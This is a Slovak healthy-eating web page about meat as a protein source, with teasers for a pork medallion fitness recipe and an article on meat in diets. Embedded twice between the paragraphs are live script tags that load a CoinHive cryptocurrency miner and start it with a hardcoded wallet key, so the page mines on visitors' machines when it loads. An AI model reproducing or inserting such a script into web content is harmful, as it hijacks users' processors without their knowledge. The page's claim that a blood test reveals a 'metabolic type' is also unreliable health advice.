Mäso

je to výborný zdroj bielkovín a obsahuje široku škálu cenných minerálov – hlavne železa, vápnika, zinku, B vitamínov a kyseliny listovej. Dôležité pri jeho konzumácií I výbere je I to, aký sme matabolický typ a čo sa nám teda na tanier vyplatí položiť. Preto je z hľadiska vypracovania osobného plánu pre nás nevyhnutný odber krvi – tak získame dokonalý prehľad o tom, čo je pre nás prospešné.

Mali by sme ho konzumovať s rozumom – nie vo všetkých porciách počas dňa a samozrejme vyberať si kvalitné mäso, z dobrých chovov.

Mali by sme ho konzumovať so zeleninou, bylinkami a hlavne ho nekonzumovať vela naraz.

 

<script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>bielkoviny_sacharidy

Fitness recept: Bravčové medailónky na listovej zelenine preliaté mandľovým pestom!

Bravčové medailónky na listovej zelenine preliaté mandľovým pestom!   Medailónky si môžete pripraviť z chudého bravčového mäsa alebo panenky – takže vo forme mäkkého chutného steaku. Jedlo je vhodné aj ako nedeľný obed, ale aj ako recept na chudnutie, milovníkov fitness receptov kvôli pomerne vysokému zastúpeniu proteínov. Dostatočne zasýti – vydržíte aj 5 hodinovú pauzu…

Details
<script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>bielkovinymaso

Mäso – na chudnutie, do diét a zdravej výživy?

Mäso -  na chudnutie, do diét a zdravej výživy? Keďže bielkovina je základnou stavebnou látkou organizmu – mala by tvoriť vysoký podiel v našej strave. Mäso je výborným živočíšnym zdrojom bielkovín. Pohĺad na mäso a to, či patrí alebo nie do zdravej výživy, je často polemizovaný. Jeho konzumenti naň nedajú dopustiť a jeho odporcovia rapidne…

Details